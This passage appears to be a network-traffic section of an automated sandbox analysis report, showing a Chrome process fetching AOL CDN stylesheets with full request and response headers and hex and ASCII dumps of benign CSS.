2024-05-23 22:34:33 UTC	997	IN	HTTP/1.1 200 OK Accept-Ranges: bytes Age: 1432980 Cache-Control: max-age=365000000, immutable Content-Type: text/css; charset=utf-8 Date: Thu, 23 May 2024 22:34:33 GMT Etag: "2b279353b9563d0a26075cc8db2c5f12" Last-Modified: Tue, 07 May 2024 06:55:57 GMT NEL: {"report_to": "default", "max_age": 43200, "include_subdomains": true, "failure_fraction": 1.0, "success_fraction": 0.001} Report-To: {"group": "default", "max_age": 43200, "include_subdomains": true, "endpoints":[{"url": "https://report.edgecast.com/nel/v0?s=QlcUD1xRUxNXDlABC1NW", "priority": 1}, {"url": "https://nelcollector.sre.ecsvc.net/report", "priority": 2}]} Server: ECAcc (lhd/35BD) Vary: Accept-Encoding x-amz-id-2: /IHJfHvlddAXQHUSce+mAF0jrkzYDO9Lll6JeIL2EEyeTjvPUUCzyLFIAlonknvYbKPGzk+sT6Q= x-amz-replication-status: COMPLETED x-amz-request-id: E4DHCBBZTZFP299C x-amz-server-side-encryption: AES256 x-amz-version-id: 3KJn7SJ_2DLbqHPEN9trbUC3t3Wz_7pV X-Cache: HIT Content-Length: 2546 Connection: close
2024-05-23 22:34:33 UTC	2546	IN	Data Raw: 2e 6d 2d 61 6f 6c 2d 73 65 5f 77 69 74 68 6f 75 74 5f 6e 6f 74 69 66 5f 62 61 6e 6e 65 72 7b 6d 61 72 67 69 6e 2d 62 6f 74 74 6f 6d 3a 30 21 69 6d 70 6f 72 74 61 6e 74 7d 2e 6d 2d 61 6f 6c 2d 73 65 5f 77 69 74 68 6f 75 74 5f 6e 6f 74 69 66 5f 62 61 6e 6e 65 72 20 2e 6d 2d 61 6f 6c 2d 73 65 5f 5f 63 6f 6e 74 61 69 6e 65 72 5f 31 7b 68 65 69 67 68 74 3a 31 32 30 70 78 7d 40 6d 65 64 69 61 20 73 63 72 65 65 6e 20 61 6e 64 20 28 6d 69 6e 2d 77 69 64 74 68 3a 39 30 31 70 78 29 7b 2e 6d 2d 61 6f 6c 2d 73 65 5f 77 69 74 68 6f 75 74 5f 6e 6f 74 69 66 5f 62 61 6e 6e 65 72 20 2e 6d 2d 61 6f 6c 2d 73 65 5f 5f 63 6f 6e 74 61 69 6e 65 72 5f 31 7b 68 65 69 67 68 74 3a 35 35 70 78 7d 7d 40 6d 65 64 69 61 20 73 63 72 65 65 6e 20 61 6e 64 20 28 6d 69 6e 2d 77 69 64 74 68 Data Ascii: .m-aol-se_without_notif_banner{margin-bottom:0!important}.m-aol-se_without_notif_banner .m-aol-se__container_1{height:120px}@media screen and (min-width:901px){.m-aol-se_without_notif_banner .m-aol-se__container_1{height:55px}}@media screen and (min-width

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
24	192.168.2.6	49753	192.229.221.24	443	6028	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-05-23 22:34:33 UTC	594	OUT	GET /caas-assets-production/assets/v1/notification_banner.ae48c4e59d83a951.css HTTP/1.1 Host: s.aolcdn.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: text/css,/;q=0.1 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: style Referer: https://www.aol.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-05-23 22:34:33 UTC	621	IN	HTTP/1.1 200 OK Accept-Ranges: bytes Age: 5251856 Cache-Control: max-age=365000000, immutable Content-Type: text/css; charset=utf-8 Date: Thu, 23 May 2024 22:34:33 GMT Etag: "ae48c4e59d83a951d7db7987ceafa23b" Last-Modified: Thu, 05 Oct 2023 20:32:04 GMT Server: ECAcc (lhd/3598) Vary: Accept-Encoding x-amz-id-2: 5yPkHgQZdyYyImu1725LDfn7pzzZAaaqHKWMU7tmZoXAFtcDkdl9D5fdOpJ9OhUZc6Tg+0QCbWg= x-amz-replication-status: COMPLETED x-amz-request-id: 9JATMQVTH6CT7EQN x-amz-server-side-encryption: AES256 x-amz-version-id: b_DhgHqoh1gTcqr8KmzkcaorZR31lHXI X-Cache: HIT Content-Length: 5842 Connection: close
2024-05-23 22:34:33 UTC	5842	IN	Data Raw: 2e 6d 2d 6e 6f 74 69 66 69 63 61 74 69 6f 6e 2d 62 61 6e 6e 65 72 5f 5f 63 6f 6e 74 65 6e 74 2c 2e 6d 2d 6e 6f 74 69 66 69 63 61 74 69 6f 6e 2d 62 61 6e 6e 65 72 5f 5f 6c 62 6c 2c 2e 6d 2d 6e 6f 74 69 66 69 63 61 74 69 6f 6e 2d 62 61 6e 6e 65 72 5f 5f 6d 6f 72 65 2d 6c 62 6c 7b 64 69 73 70 6c 61 79 3a 2d 77 65 62 6b 69 74 2d 62 6f 78 3b 64 69 73 70 6c 61 79 3a 2d 6d 73 2d 66 6c 65 78 62 6f 78 3b 64 69 73 70 6c 61 79 3a 66 6c 65 78 3b 2d 77 65 62 6b 69 74 2d 62 6f 78 2d 61 6c 69 67 6e 3a 65 6e 64 3b 2d 6d 73 2d 66 6c 65 78 2d 61 6c 69 67 6e 3a 65 6e 64 3b 61 6c 69 67 6e 2d 69 74 65 6d 73 3a 66 6c 65 78 2d 65 6e 64 7d 2e 61 6f 6c 2d 6e 6f 74 69 66 69 63 61 74 69 6f 6e 2d 62 61 6e 6e 65 72 7b 62 61 63 6b 67 72 6f 75 6e 64 2d 63 6f 6c 6f 72 3a 23 30 66 36 39 Data Ascii: .m-notification-banner__content,.m-notification-banner__lbl,.m-notification-banner__more-lbl{display:-webkit-box;display:-ms-flexbox;display:flex;-webkit-box-align:end;-ms-flex-align:end;align-items:flex-end}.aol-notification-banner{background-color:#0f69

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
25	192.168.2.6	49750	192.229.221.24	443	6028	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-05-23 22:34:33 UTC	577	OUT	GET /caas-assets-production/assets/v1/dl.83a88a4e4e6cf5eb.css HTTP/1.1 Host: s.aolcdn.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: text/css,/;q=0.1 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: style Referer: https://www.aol.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-05-23 22:34:33 UTC	998	IN	HTTP/1.1 200 OK Accept-Ranges: bytes Age: 1947134 Cache-Control: max-age=365000000, immutable Content-Type: text/css; charset=utf-8 Date: Thu, 23 May 2024 22:34:33 GMT Etag: "83a88a4e4e6cf5ebdbf2674ae4bca097" Last-Modified: Wed, 01 May 2024 09:11:53 GMT NEL: {"report_to": "default", "max_age": 43200, "include_subdomains": true, "failure_fraction": 1.0, "success_fraction": 0.001} Report-To: {"group": "default", "max_age": 43200, "include_subdomains": true, "endpoints":[{"url": "https://report.edgecast.com/nel/v0?s=QlcUD1xRUxNXDlABC1NW", "priority": 1}, {"url": "https://nelcollector.sre.ecsvc.net/report", "priority": 2}]} Server: ECAcc (lhd/35FB) Vary: Accept-Encoding x-amz-id-2: Sl72HzRzhWNV+ODcJYmsKMGPacz0meRKktSkyO5uD1M+Xx+9v75bwY4QdPIZVP4yBWE0O0kQNew= x-amz-replication-status: COMPLETED x-amz-request-id: 5NHZRA8CCC2S6JE3 x-amz-server-side-encryption: AES256 x-amz-version-id: OD6dL47BsB.WH9cLOqlN1ClcKBtm0YIy X-Cache: HIT Content-Length: 15178 Connection: close
2024-05-23 22:34:33 UTC	15178	IN	Data Raw: 2e 64 6c 5f 5f 6f 75 74 65 72 2d 77 72 61 70 70 65 72 7b 70 6f 73 69 74 69 6f 6e 3a 72 65 6c 61 74 69 76 65 3b 62 6f 72 64 65 72 2d 72 61 64 69 75 73 3a 32 34 70 78 3b 2d 77 65 62 6b 69 74 2d 62 6f 78 2d 73 68 61 64 6f 77 3a 30 20 31 36 70 78 20 32 30 70 78 20 30 20 72 67 62 61 28 31 39 39 2c 32 30 35 2c 32 31 30 2c 2e 34 29 2c 30 20 30 20 31 36 70 78 20 30 20 72 67 62 61 28 30 2c 30 2c 30 2c 2e 30 35 29 3b 62 6f 78 2d 73 68 61 64 6f 77 3a 30 20 31 36 70 78 20 32 30 70 78 20 30 20 72 67 62 61 28 31 39 39 2c 32 30 35 2c 32 31 30 2c 2e 34 29 2c 30 20 30 20 31 36 70 78 20 30 20 72 67 62 61 28 30 2c 30 2c 30 2c 2e 30 35 29 3b 62 61 63 6b 67 72 6f 75 6e 64 2d 63 6f 6c 6f 72 3a 23 66 66 66 3b 66 6f 6e 74 2d 66 61 6d 69 6c 79 3a 5f 4f 70 65 6e 53 61 6e 73 2c 4f Data Ascii: .dl__outer-wrapper{position:relative;border-radius:24px;-webkit-box-shadow:0 16px 20px 0 rgba(199,205,210,.4),0 0 16px 0 rgba(0,0,0,.05);box-shadow:0 16px 20px 0 rgba(199,205,210,.4),0 0 16px 0 rgba(0,0,0,.05);background-color:#fff;font-family:_OpenSans,O

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
26	192.168.2.6	49752	192.229.221.24	443	6028	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-05-23 22:34:33 UTC	578	OUT	GET /caas-assets-production/assets/v1/gam.03794bc12e05390f.css HTTP/1.1 Host: s.aolcdn.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: text/css,/;q=0.1 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: style Referer: https://www.aol.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-05-23 22:34:33 UTC	621	IN	HTTP/1.1 200 OK Accept-Ranges: bytes Age: 4965638 Cache-Control: max-age=365000000, immutable Content-Type: text/css; charset=utf-8 Date: Thu, 23 May 2024 22:34:33 GMT Etag: "03794bc12e05390f71cfcca553165a91" Last-Modified: Wed, 27 Mar 2024 11:04:28 GMT Server: ECAcc (lhd/35FB) Vary: Accept-Encoding x-amz-id-2: 8TlL/FHOInidt1fculm1f6ZVBZo5z5B9IhuXAdki4AV7CsGtduqdkSxBcNe/x+GQ0ZUVyYLxXlM= x-amz-replication-status: COMPLETED x-amz-request-id: Z1PM2GSHH1EGZPC4 x-amz-server-side-encryption: AES256 x-amz-version-id: gRl8WBnG9nCp7Y9UpsR48sz2pd68KSBO X-Cache: HIT Content-Length: 1409 Connection: close
2024-05-23 22:34:33 UTC	1409	IN	Data Raw: 2e 6d 2d 67 61 6d 7b 6d 61 72 67 69 6e 3a 61 75 74 6f 7d 2e 6d 2d 67 61 6d 5f 5f 70 6c 61 63 65 68 6f 6c 64 65 72 7b 64 69 73 70 6c 61 79 3a 2d 77 65 62 6b 69 74 2d 62 6f 78 3b 64 69 73 70 6c 61 79 3a 2d 6d 73 2d 66 6c 65 78 62 6f 78 3b 64 69 73 70 6c 61 79 3a 66 6c 65 78 3b 2d 77 65 62 6b 69 74 2d 62 6f 78 2d 70 61 63 6b 3a 63 65 6e 74 65 72 3b 2d 6d 73 2d 66 6c 65 78 2d 70 61 63 6b 3a 63 65 6e 74 65 72 3b 6a 75 73 74 69 66 79 2d 63 6f 6e 74 65 6e 74 3a 63 65 6e 74 65 72 3b 2d 77 65 62 6b 69 74 2d 62 6f 78 2d 61 6c 69 67 6e 3a 63 65 6e 74 65 72 3b 2d 6d 73 2d 66 6c 65 78 2d 61 6c 69 67 6e 3a 63 65 6e 74 65 72 3b 61 6c 69 67 6e 2d 69 74 65 6d 73 3a 63 65 6e 74 65 72 3b 62 61 63 6b 67 72 6f 75 6e 64 2d 63 6f 6c 6f 72 3a 23 65 30 65 34 65 39 3b 6d 61 72 67 Data Ascii: .m-gam{margin:auto}.m-gam__placeholder{display:-webkit-box;display:-ms-flexbox;display:flex;-webkit-box-pack:center;-ms-flex-pack:center;justify-content:center;-webkit-box-align:center;-ms-flex-align:center;align-items:center;background-color:#e0e4e9;marg

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
27	192.168.2.6	49754	192.229.221.24	443	6028	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-05-23 22:34:33 UTC	581	OUT	GET /caas-assets-production/assets/v1/stream.b51cf15ff5cfd424.css HTTP/1.1 Host: s.aolcdn.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: text/css,/;q=0.1 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: style Referer: https://www.aol.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-05-23 22:34:33 UTC	622	IN	HTTP/1.1 200 OK Accept-Ranges: bytes Age: 635471 Cache-Control: max-age=365000000, immutable Content-Type: text/css; charset=utf-8 Date: Thu, 23 May 2024 22:34:33 GMT Etag: "b51cf15ff5cfd424b22940e1734478b3" Last-Modified: Thu, 16 May 2024 13:54:01 GMT Server: ECAcc (lhd/35E6) Vary: Accept-Encoding x-amz-id-2: tdkRG3FPjn48N7UCClk2ea1ciXy4wQRW1caW6ArPtpz9t8gNHUqa0jfVFKXCQEoFUMBmKCyYTK4= x-amz-replication-status: COMPLETED x-amz-request-id: 05TDNE2DN3922DKA x-amz-server-side-encryption: AES256 x-amz-version-id: _DckuLkYvOiijtn.iHFu.PR2YvnF9cNm X-Cache: HIT Content-Length: 332344 Connection: close
2024-05-23 22:34:33 UTC	16383	IN	Data Raw: 2e 6d 2d 76 69 64 65 6f 2d 77 61 66 65 72 5f 5f 70 6c 61 79 65 72 2d 2d 63 6f 6e 74 61 69 6e 65 72 7b 68 65 69 67 68 74 3a 33 38 30 70 78 7d 2e 6d 2d 76 69 64 65 6f 2d 77 61 66 65 72 5f 5f 70 6c 61 79 65 72 2d 2d 63 6f 6e 74 61 69 6e 65 72 20 2e 77 61 66 65 72 2d 76 69 64 65 6f 2d 72 65 6e 64 65 72 65 64 20 69 66 72 61 6d 65 7b 62 6f 72 64 65 72 2d 72 61 64 69 75 73 3a 31 36 70 78 7d 2e 73 6d 61 72 74 70 68 6f 6e 65 20 2e 6d 2d 76 69 64 65 6f 2d 77 61 66 65 72 5f 5f 70 6c 61 79 65 72 2d 2d 63 6f 6e 74 61 69 6e 65 72 7b 6d 61 72 67 69 6e 3a 30 20 2d 31 30 70 78 7d 2e 6d 2d 76 69 64 65 6f 2d 77 61 66 65 72 2d 2d 67 72 69 64 20 2e 6d 2d 76 69 64 65 6f 2d 77 61 66 65 72 5f 5f 70 6c 61 79 65 72 2d 2d 63 6f 6e 74 61 69 6e 65 72 20 2e 77 61 66 65 72 2d 76 69 64 Data Ascii: .m-video-wafer__player--container{height:380px}.m-video-wafer__player--container .wafer-video-rendered iframe{border-radius:16px}.smartphone .m-video-wafer__player--container{margin:0 -10px}.m-video-wafer--grid .m-video-wafer__player--container .wafer-vid
2024-05-23 22:34:33 UTC	1	IN	Data Raw: 75 Data Ascii: u
2024-05-23 22:34:33 UTC	16383	IN	Data Raw: 70 3b 77 69 64 74 68 3a 31 30 30 25 7d 7d 40 6d 65 64 69 61 28 6d 69 6e 2d 77 69 64 74 68 3a 36 30 31 70 78 29 61 6e 64 20 28 6d 61 78 2d 77 69 64 74 68 3a 37 35 32 70 78 29 7b 2e 6d 2d 70 72 69 63 65 6c 69 6e 65 2d 74 72 61 76 65 6c 2d 73 65 61 72 63 68 20 2e 77 72 61 70 70 65 72 20 2e 69 6d 61 67 65 7b 77 69 64 74 68 3a 35 30 25 7d 7d 40 6d 65 64 69 61 28 6d 69 6e 2d 77 69 64 74 68 3a 39 30 30 70 78 29 61 6e 64 20 28 6d 61 78 2d 77 69 64 74 68 3a 31 32 33 30 70 78 29 7b 2e 6d 2d 70 72 69 63 65 6c 69 6e 65 2d 74 72 61 76 65 6c 2d 73 65 61 72 63 68 20 2e 77 72 61 70 70 65 72 20 2e 69 6d 61 67 65 7b 77 69 64 74 68 3a 35 30 25 7d 7d 2e 6d 2d 70 72 69 63 65 6c 69 6e 65 2d 74 72 61 76 65 6c 2d 73 65 61 72 63 68 20 2e 77 72 61 70 70 65 72 20 2e 69 6d 61 67 65 Data Ascii: p;width:100%}}@media(min-width:601px)and (max-width:752px){.m-priceline-travel-search .wrapper .image{width:50%}}@media(min-width:900px)and (max-width:1230px){.m-priceline-travel-search .wrapper .image{width:50%}}.m-priceline-travel-search .wrapper .image
2024-05-23 22:34:33 UTC	16383	IN	Data Raw: 64 69 76 3a 68 6f 76 65 72 7b 62 61 63 6b 67 72 6f 75 6e 64 2d 63 6f 6c 6f 72 3a 23 30 65 35 65 65 36 7d 40 6d 65 64 69 61 20 73 63 72 65 65 6e 20 61 6e 64 20 28 6d 61 78 2d 77 69 64 74 68 3a 36 30 30 70 78 29 2c 73 63 72 65 65 6e 20 61 6e 64 20 28 6d 69 6e 2d 77 69 64 74 68 3a 37 35 33 70 78 29 61 6e 64 20 28 6d 61 78 2d 77 69 64 74 68 3a 39 30 30 70 78 29 7b 2e 66 65 61 74 75 72 65 64 2d 76 69 64 65 6f 20 2e 61 72 74 69 63 6c 65 2d 63 6f 70 79 20 2e 63 74 61 7b 70 61 64 64 69 6e 67 2d 6c 65 66 74 3a 31 30 70 78 3b 70 61 64 64 69 6e 67 2d 72 69 67 68 74 3a 31 30 70 78 7d 7d 2e 66 65 61 74 75 72 65 64 2d 76 69 64 65 6f 20 2e 61 72 74 69 63 6c 65 2d 63 6f 70 79 20 2e 74 69 6c 65 2d 61 64 64 69 74 69 6f 6e 61 6c 7b 66 6f 6e 74 2d 66 61 6d 69 6c 79 3a 5f 4f Data Ascii: div:hover{background-color:#0e5ee6}@media screen and (max-width:600px),screen and (min-width:753px)and (max-width:900px){.featured-video .article-copy .cta{padding-left:10px;padding-right:10px}}.featured-video .article-copy .tile-additional{font-family:_O
2024-05-23 22:34:33 UTC	16383	IN	Data Raw: 20 30 20 32 30 70 78 3b 66 6f 6e 74 2d 73 69 7a 65 3a 31 32 70 78 3b 66 6f 6e 74 2d 77 65 69 67 68 74 3a 36 30 30 3b 63 6f 6c 6f 72 3a 23 32 33 32 61 33 31 3b 66 6f 6e 74 2d 66 61 6d 69 6c 79 3a 50 6f 70 70 69 6e 73 2c 5f 4f 70 65 6e 53 61 6e 73 2c 4f 70 65 6e 53 61 6e 73 2c 48 65 6c 76 65 74 69 63 61 20 4e 65 75 65 2c 68 65 6c 76 65 74 69 63 61 2c 61 72 69 61 6c 2c 73 61 6e 73 2d 73 65 72 69 66 7d 2e 6d 2d 79 73 73 5f 5f 76 73 5f 5f 64 72 6f 70 64 6f 77 6e 2d 2d 6c 69 73 74 20 75 6c 20 6c 69 20 6c 61 62 65 6c 2e 73 65 6c 65 63 74 65 64 7b 63 6f 6c 6f 72 3a 23 30 30 34 37 66 66 7d 2e 6d 2d 79 73 73 5f 5f 76 73 5f 5f 64 72 6f 70 64 6f 77 6e 20 73 70 61 6e 7b 70 61 64 64 69 6e 67 2d 72 69 67 68 74 3a 34 38 70 78 7d 2e 6d 2d 79 73 73 5f 5f 76 73 5f 5f 64 72 Data Ascii: 0 20px;font-size:12px;font-weight:600;color:#232a31;font-family:Poppins,_OpenSans,OpenSans,Helvetica Neue,helvetica,arial,sans-serif}.m-yss__vs__dropdown--list ul li label.selected{color:#0047ff}.m-yss__vs__dropdown span{padding-right:48px}.m-yss__vs__dr
2024-05-23 22:34:33 UTC	16383	IN	Data Raw: 37 31 2c 20 32 35 35 2c 20 31 29 27 3e 3c 2f 70 61 74 68 3e 3c 2f 73 76 67 3e 22 29 3b 70 6f 73 69 74 69 6f 6e 3a 61 62 73 6f 6c 75 74 65 3b 74 6f 70 3a 31 31 70 78 3b 72 69 67 68 74 3a 32 30 70 78 3b 2d 77 65 62 6b 69 74 2d 74 72 61 6e 73 66 6f 72 6d 3a 72 6f 74 61 74 65 28 30 64 65 67 29 3b 74 72 61 6e 73 66 6f 72 6d 3a 72 6f 74 61 74 65 28 30 64 65 67 29 7d 2e 6d 2d 79 73 73 5f 68 5f 6d 65 6e 75 5f 5f 64 72 6f 70 64 6f 77 6e 20 73 70 61 6e 2e 6f 70 65 6e 7b 62 6f 72 64 65 72 3a 31 70 78 20 73 6f 6c 69 64 20 23 30 30 34 37 66 66 3b 62 61 63 6b 67 72 6f 75 6e 64 3a 23 66 30 66 33 66 35 7d 2e 6d 2d 79 73 73 5f 68 5f 6d 65 6e 75 5f 5f 64 72 6f 70 64 6f 77 6e 20 73 70 61 6e 2e 6f 70 65 6e 3a 61 66 74 65 72 7b 2d 77 65 62 6b 69 74 2d 74 72 61 6e 73 66 6f 72 Data Ascii: 71, 255, 1)'></path></svg>");position:absolute;top:11px;right:20px;-webkit-transform:rotate(0deg);transform:rotate(0deg)}.m-yss_h_menu__dropdown span.open{border:1px solid #0047ff;background:#f0f3f5}.m-yss_h_menu__dropdown span.open:after{-webkit-transfor
2024-05-23 22:34:33 UTC	4	IN	Data Raw: 30 20 31 36 Data Ascii: 0 16
2024-05-23 22:34:33 UTC	16383	IN	Data Raw: 70 78 20 32 30 70 78 20 30 20 72 67 62 61 28 31 39 39 2c 32 30 35 2c 32 31 30 2c 2e 34 29 3b 62 6f 72 64 65 72 2d 72 61 64 69 75 73 3a 31 30 30 25 7d 2e 6d 2d 63 62 5f 5f 67 72 69 64 5f 69 6d 61 67 65 7b 70 61 64 64 69 6e 67 2d 62 6f 74 74 6f 6d 3a 32 30 70 78 3b 70 61 64 64 69 6e 67 2d 74 6f 70 3a 32 30 70 78 7d 2e 6d 2d 63 62 5f 5f 67 72 69 64 5f 69 6d 61 67 65 20 69 6d 67 7b 70 61 64 64 69 6e 67 3a 30 3b 62 6f 72 64 65 72 2d 72 61 64 69 75 73 3a 30 3b 77 69 64 74 68 3a 63 61 6c 63 28 31 30 30 25 20 2b 20 34 30 70 78 29 7d 2e 6d 2d 63 62 5f 5f 68 65 61 64 69 6e 67 7b 6d 61 72 67 69 6e 3a 30 3b 66 6f 6e 74 2d 73 69 7a 65 3a 31 65 6d 3b 66 6f 6e 74 2d 77 65 69 67 68 74 3a 37 30 30 3b 6c 69 6e 65 2d 68 65 69 67 68 74 3a 32 34 70 78 7d 2e 6d 2d 63 62 5f 5f Data Ascii: px 20px 0 rgba(199,205,210,.4);border-radius:100%}.m-cb__grid_image{padding-bottom:20px;padding-top:20px}.m-cb__grid_image img{padding:0;border-radius:0;width:calc(100% + 40px)}.m-cb__heading{margin:0;font-size:1em;font-weight:700;line-height:24px}.m-cb__
2024-05-23 22:34:33 UTC	16383	IN	Data Raw: 6e 67 2c 2e 6d 2d 63 62 2d 2d 73 73 20 2e 6d 2d 63 62 5f 5f 63 6f 6e 74 65 6e 74 2d 2d 72 69 67 68 74 5f 76 32 20 2e 6d 2d 63 62 5f 5f 69 6d 61 67 65 2c 2e 6d 2d 63 62 2d 2d 73 73 20 2e 6d 2d 63 62 5f 5f 63 6f 6e 74 65 6e 74 2d 2d 72 69 67 68 74 5f 76 32 20 2e 6d 2d 63 62 5f 5f 6c 69 6e 6b 3a 6c 61 73 74 2d 6f 66 2d 74 79 70 65 20 64 69 76 2e 67 72 69 64 2d 78 2c 2e 6d 2d 63 62 2d 2d 73 73 20 2e 6d 2d 63 62 5f 5f 63 6f 6e 74 65 6e 74 2d 2d 72 69 67 68 74 5f 76 32 20 2e 6d 2d 63 62 5f 5f 6c 69 6e 6b 20 64 69 76 2e 67 72 69 64 2d 78 7b 6d 61 72 67 69 6e 2d 62 6f 74 74 6f 6d 3a 30 7d 40 6d 65 64 69 61 20 73 63 72 65 65 6e 20 61 6e 64 20 28 6d 69 6e 2d 77 69 64 74 68 3a 36 30 31 70 78 29 61 6e 64 20 28 6d 61 78 2d 77 69 64 74 68 3a 39 30 30 70 78 29 7b 2e 6d Data Ascii: ng,.m-cb--ss .m-cb__content--right_v2 .m-cb__image,.m-cb--ss .m-cb__content--right_v2 .m-cb__link:last-of-type div.grid-x,.m-cb--ss .m-cb__content--right_v2 .m-cb__link div.grid-x{margin-bottom:0}@media screen and (min-width:601px)and (max-width:900px){.m
2024-05-23 22:34:33 UTC	16383	IN	Data Raw: 2d 2d 33 7b 6d 61 72 67 69 6e 2d 62 6f 74 74 6f 6d 3a 34 70 78 7d 40 6d 65 64 69 61 20 73 63 72 65 65 6e 20 61 6e 64 20 28 6d 69 6e 2d 77 69 64 74 68 3a 36 30 31 70 78 29 7b 2e 73 74 72 65 61 6d 2d 63 6f 6e 74 61 69 6e 65 72 2d 2d 68 6f 6d 65 70 61 67 65 20 2e 6d 2d 63 62 7b 6d 61 72 67 69 6e 2d 62 6f 74 74 6f 6d 3a 33 36 70 78 3b 70 61 64 64 69 6e 67 2d 62 6f 74 74 6f 6d 3a 33 36 70 78 7d 2e 6d 2d 63 62 5f 5f 62 6f 64 79 7b 70 61 64 64 69 6e 67 2d 74 6f 70 3a 32 30 70 78 7d 2e 73 74 72 65 61 6d 2d 63 6f 6e 74 61 69 6e 65 72 2d 2d 68 6f 6d 65 70 61 67 65 20 2e 6d 2d 63 62 20 2e 6d 2d 79 73 73 5f 68 5f 6d 65 6e 75 5f 68 65 61 64 65 72 5f 5f 74 69 74 6c 65 2c 2e 73 74 72 65 61 6d 2d 63 6f 6e 74 61 69 6e 65 72 2d 2d 68 6f 6d 65 70 61 67 65 20 2e 6d 2d 63 62 Data Ascii: --3{margin-bottom:4px}@media screen and (min-width:601px){.stream-container--homepage .m-cb{margin-bottom:36px;padding-bottom:36px}.m-cb__body{padding-top:20px}.stream-container--homepage .m-cb .m-yss_h_menu_header__title,.stream-container--homepage .m-cb

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
28	192.168.2.6	49755	192.229.221.24	443	6028	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-05-23 22:34:33 UTC	582	OUT	GET /caas-assets-production/assets/v1/weather.9fd2039b03cca64a.css HTTP/1.1 Host: s.aolcdn.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: text/css,/;q=0.1 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: style Referer: https://www.aol.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-05-23 22:34:33 UTC	1030	IN	HTTP/1.1 200 OK Accept-Ranges: bytes Age: 635469 Cache-Control: max-age=365000000, immutable Content-Type: text/css; charset=utf-8 Date: Thu, 23 May 2024 22:34:33 GMT Etag: "9fd2039b03cca64aff26e1427ff86077" Last-Modified: Thu, 16 May 2024 13:54:02 GMT NEL: {"report_to": "default", "max_age": 43200, "include_subdomains": true, "failure_fraction": 1.0, "success_fraction": 0.001} Report-To: {"group": "default", "max_age": 43200, "include_subdomains": true, "endpoints":[{"url": "https://report.edgecast.com/nel/v0?s=QlcUD1xRUxNXDlABC1NW", "priority": 1}, {"url": "https://nelcollector.sre.ecsvc.net/report", "priority": 2}]} Server: ECAcc (lhd/35EF) Vary: Accept-Encoding x-amz-id-2: ScvTQHHGBnn7TambXnDtgKY3cMO7nP8vSmkUxH4qZrAq3De8byYqo3+sPNTfkDkg3ALBaXj5EQsvMplKgsU2kz/zYPX3F5BH2FOqOPit2bQ= x-amz-replication-status: COMPLETED x-amz-request-id: S13HZXPXMT5SGMBW x-amz-server-side-encryption: AES256 x-amz-version-id: bVK66UAgSYk8QiS2EIuduLaWEk41IWvW X-Cache: HIT Content-Length: 257707 Connection: close
